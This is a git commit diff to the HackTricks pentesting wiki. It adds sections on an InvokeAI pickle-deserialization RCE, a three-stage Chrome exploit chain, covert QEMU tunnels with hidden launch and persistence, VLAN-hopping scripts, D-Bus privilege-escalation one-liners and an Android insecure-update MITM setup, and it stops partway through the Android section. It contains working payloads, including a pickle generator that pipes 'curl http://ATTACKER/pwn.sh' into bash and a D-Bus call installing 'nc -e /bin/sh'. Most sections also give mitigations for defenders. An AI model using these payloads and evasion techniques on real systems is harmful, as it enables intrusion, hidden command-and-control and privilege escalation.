Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

This commit is contained in:
carlospolop 2025-07-22 13:19:22 +02:00
commit 651f61fb65
15 changed files with 1032 additions and 44 deletions

View File

@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesnt cover old format “downgrade attack”) | | | **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesnt cover old format “downgrade attack”) | |
| **Others** (general) | *Design flaw* Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | | | **Others** (general) | *Design flaw* Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above. Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
Example: ### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
Internally the endpoint eventually calls:
```python
checkpoint = torch.load(path, map_location=torch.device("meta"))
```
When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
#### Exploitation walk-through
1. Create a malicious checkpoint:
```python
# payload_gen.py
import pickle, torch, os
class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
```
2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`).
3. Trigger the vulnerable endpoint (no authentication required):
```python
import requests
requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt", # remote model URL
"inplace": "true", # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={}, # body can be empty
timeout=5,
)
```
4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process.
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow.
#### Conditions
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
`/api/v2/models/install` reachable by the attacker
• Process has permissions to execute shell commands
#### Mitigations
* Upgrade to **InvokeAI ≥ 5.4.3** the patch sets `scan=True` by default and performs malware scanning before deserialization.
* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
* Enforce allow-lists / signatures for model sources and run the service with least-privilege.
> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources.
---
Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
```nginx
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
```
## Example crafting a malicious PyTorch model
- Create the model: - Create the model:
@ -67,7 +143,6 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error # /tmp/pwned.txt is created even if you get an error
``` ```
## Models to Path Traversal ## Models to Path Traversal
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded. As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(PAYLOAD) # rides the symlink tf.add(PAYLOAD) # rides the symlink
``` ```
{{#include ../banners/hacktricks-training.md}} ## References
- [OffSec blog "CVE-2024-12029 InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
- [PyTorch security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
{{#include ../banners/hacktricks-training.md}}

View File

@ -283,6 +283,7 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md) - [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) - [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md) - [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md) - [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md) - [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md) - [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
@ -334,6 +335,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
@ -347,6 +349,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
@ -759,6 +762,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Array Indexing](binary-exploitation/array-indexing.md) - [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md) - [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)

View File

@ -0,0 +1,184 @@
# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface).
> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
## 1. Chrome Architecture Recap
Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
A *remote* attacker therefore needs **three** successive primitives:
1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**.
---
## 2. Stage 1 WebAssembly Type-Confusion (CVE-2025-0291)
A flaw in TurboFans **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
Effect:
* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
Minimal PoC (excerpt):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Trigger optimisation & spray objects from JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **arbitrary read/write within V8**.
---
## 3. Stage 2 Escaping the V8 Sandbox (issue 379140430)
When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
Key steps in exploit:
1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`).
3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`.
Wrapper identification:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
After corruption we possess a fully-featured **renderer R/W primitive**.
---
## 4. Stage 3 Renderer → OS Sandbox Escape (CVE-2024-11114)
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
Example (simplified):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
No additional memory corruption is necessary the **logic flaw** gives us arbitrary file execution with the users privileges.
---
## 5. Full Chain Flow
1. **User visits** malicious webpage.
2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox.
4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload.
Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS).
---
## 6. Lab & Debugging Setup
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Useful flags when launching a *development* build of Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Takeaways
* **WebAssembly JIT bugs** remain a reliable entry-point the type system is still young.
* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**.
* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** keep an eye on *non-memory* bugs.
## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}

View File

@ -726,11 +726,73 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
The above command publishes the victims port **8080** as **attacker_ip:9000** without deploying any additional tooling ideal for living-off-the-land pivoting. The above command publishes the victims port **8080** as **attacker_ip:9000** without deploying any additional tooling ideal for living-off-the-land pivoting.
## Covert VM-based Tunnels with QEMU
QEMUs user-mode networking (`-netdev user`) supports an option called `hostfwd` that **binds a TCP/UDP port on the *host* and forwards it into the *guest***. When the guest runs a full SSH daemon, the hostfwd rule gives you a disposable SSH jump box that lives entirely inside an ephemeral VM perfect for hiding C2 traffic from EDR because all malicious activity and files stay in the virtual disk.
### Quick one-liner
```powershell
# Windows victim (no admin rights, no driver install portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic
```
• The command above launches a **Tiny Core Linux** image (`tc.qcow2`) in RAM.
• Port **2222/tcp** on the Windows host is transparently forwarded to **22/tcp** inside the guest.
• From the attackers point of view the target simply exposes port 2222; any packets that reach it are handled by the SSH server running in the VM.
### Launching stealthily through VBScript
```vb
' update.vbs lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
```
Running the script with `cscript.exe //B update.vbs` keeps the window hidden.
### In-guest persistence
Because Tiny Core is stateless, attackers usually:
1. Drop payload to `/opt/123.out`
2. Append to `/opt/bootlocal.sh`:
```sh
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
```
3. Add `home/tc` and `opt` to `/opt/filetool.lst` so the payload is packed into `mydata.tgz` on shutdown.
### Why this evades detection
• Only two unsigned executables (`qemu-system-*.exe`) touch disk; no drivers or services are installed.
• Security products on the host see **benign loopback traffic** (the actual C2 terminates inside the VM).
• Memory scanners never analyse the malicious process space because it lives in a different OS.
### Defender tips
• Alert on **unexpected QEMU/VirtualBox/KVM binaries** in user-writable paths.
• Block outbound connections that originate from `qemu-system*.exe`.
• Hunt for rare listening ports (2222, 10022, …) binding immediately after a QEMU launch.
---
## Other tools to check ## Other tools to check
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
## References
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -60,11 +60,84 @@ Connectivity is tested by initiating ICMP requests to the default gateways for V
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
---
## Other VLAN-Hopping Techniques (no privileged switch CLI)
The previous method assumes authenticated console or Telnet/SSH access to the switch. In real-world engagements the attacker is usually connected to a **regular access port**. The following Layer-2 tricks often let you pivot laterally without ever logging into the switch OS:
### 1. Switch-Spoofing with Dynamic Trunking Protocol (DTP)
Cisco switches that keep DTP enabled will happily negotiate a trunk if the peer claims to be a switch. Crafting a single **DTP “desirable”** or **“trunk”** frame converts the access port into an 802.1Q trunk that carries *all* allowed VLANs.
*Yersinia* and several PoCs automate the process:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Once the port switches to trunk you can create 802.1Q sub-interfaces and pivot exactly as shown in the previous section. Modern Linux kernels no longer require *vconfig*; instead use *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
If the attacker sits on the **native (untagged) VLAN**, a crafted frame with *two* 802.1Q headers can "hop" to a second VLAN even when the port is locked in access mode. Tooling such as **VLANPWN DoubleTagging.py** (2022-2024 refresh) automates the injection:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Outer tag (1) is stripped by the first switch because it matches the native VLAN.
2. Inner tag (20) is now exposed; the frame is forwarded onto the trunk towards VLAN 20.
The technique still works in 2025 on networks that leave the native VLAN at the default and accept untagged frames .
### 3. QinQ (802.1ad) Stacking
Many enterprise cores support *Q-in-Q* service provider encapsulation. Where permitted, an attacker can tunnel arbitrary 802.1Q-tagged traffic inside a provider (S-tag) to cross security zones. Capture for 802.1ad ethertype 0x88a8 and attempt to pop the outer tag with Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Defensive Recommendations
1. Disable DTP on all user-facing ports: `switchport mode access` + `switchport nonegotiate`.
2. Change the native VLAN on every trunk to an **unused, black-hole VLAN** and tag it: `vlan dot1q tag native`.
3. Prune unnecessary VLANs on trunks: `switchport trunk allowed vlan 10,20`.
4. Enforce port security, DHCP snooping & dynamic ARP inspection to limit rogue Layer-2 activity.
5. Prefer private-VLANs or L3 segmentation instead of relying solely on 802.1Q separation.
---
## References ## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -464,11 +464,77 @@ finish:
} }
``` ```
## Automated Enumeration Helpers (2023-2025)
Enumeration of a large D-Bus attack surface manually with `busctl`/`gdbus` quickly becomes painful. Two small FOSS utilities released in the last few years can speed things up during red-team or CTF engagements:
### dbusmap ("Nmap for D-Bus")
* Author: @taviso [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
* Written in C; single static binary (<50 kB) that walks every object path, pulls the `Introspect` XML and maps it to the owning PID/UID.
* Useful flags:
```bash
# List every service on the *system* bus and dump all callable methods
sudo dbus-map --dump-methods
# Actively probe methods/properties you can reach without Polkit prompts
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
```
* The tool marks unprotected well-known names with `!`, instantly revealing services you can *own* (take over) or method calls that are reachable from an unprivileged shell.
### uptux.py
* Author: @initstring [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
* Python-only script that looks for *writable* paths in systemd units **and** overly-permissive D-Bus policy files (e.g. `send_destination="*"`).
* Quick usage:
```bash
python3 uptux.py -n # run all checks but dont write a log file
python3 uptux.py -d # enable verbose debug output
```
* The D-Bus module searches the directories below and highlights any service that can be spoofed or hijacked by a normal user:
* `/etc/dbus-1/system.d/` and `/usr/share/dbus-1/system.d/`
* `/etc/dbus-1/system-local.d/` (vendor overrides)
---
## Notable D-Bus Privilege-Escalation Bugs (2024-2025)
Keeping an eye on recently published CVEs helps spotting similar insecure patterns in custom code. The following high-impact local EoP issues all stem from missing authentication/authorization on the **system bus**:
| Year | CVE | Component | Root Cause | One-Liner PoC |
|------|-----|-----------|------------|---------------|
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | The `logid` system service exposes an unrestricted `org.freedesktop.Logiopsd` interface that lets *any* user change device profiles and inject arbitrary shell commands via macro strings. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | A root-running proxy forwards legacy bus names to backend services **without forwarding caller UID/Polkit context**, so every forwarded request is treated as UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Public `Dispatch` method lacks any ACLs → attacker can order the *package-manager* worker to install arbitrary RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
Patterns to notice:
1. Service runs **as root on the system bus**.
2. No PolicyKit check (or it is bypassed by a proxy).
3. Method ultimately leads to `system()`/package installation/device re-configuration → code execution.
Use `dbusmap --enable-probes` or manual `busctl call` to confirm whether a patch back-ports proper `polkit_authority_check_authorization()` logic.
---
## Hardening & Detection Quick-Wins
* Search for world-writable or *send/receive*-open policies:
```bash
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
```
* Require Polkit for dangerous methods even *root* proxies should pass the *caller* PID to `polkit_authority_check_authorization_sync()` instead of their own.
* Drop privileges in long-running helpers (use `sd_pid_get_owner_uid()` to switch namespaces after connecting to the bus).
* If you cannot remove a service, at least *scope* it to a dedicated Unix group and restrict access in its XML policy.
* Blue-team: enable persistent capture of the system bus with `busctl capture --output=/var/log/dbus_$(date +%F).pcap` and import into Wireshark for anomaly detection.
---
## References ## References
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -26,6 +26,7 @@ Sometimes it is interesting to **modify the application code** to access **hidde
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device: - Extract APK from device:
@ -50,6 +51,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
``` ```
## Case Studies & Vulnerabilities
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## Static Analysis ## Static Analysis
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\

View File

@ -0,0 +1,135 @@
# Insecure In-App Update Mechanisms Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Many Android applications implement their **own “plugin” or “dynamic feature” update channels** instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept the traffic can supply **arbitrary native code that will be loaded inside the app process**, leading to full Remote Code Execution (RCE) on the handset and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
This page summarises a realworld vulnerability chain found in the Xtool **AnyScan** automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
---
## 1. Identifying an Insecure TLS TrustManager
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
```
3. If present the application will accept **any TLS certificate** → you can run a transparent **MITM proxy** with a self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Reverse-Engineering the Update Metadata
In the AnyScan case each app launch triggers an HTTPS GET to:
```
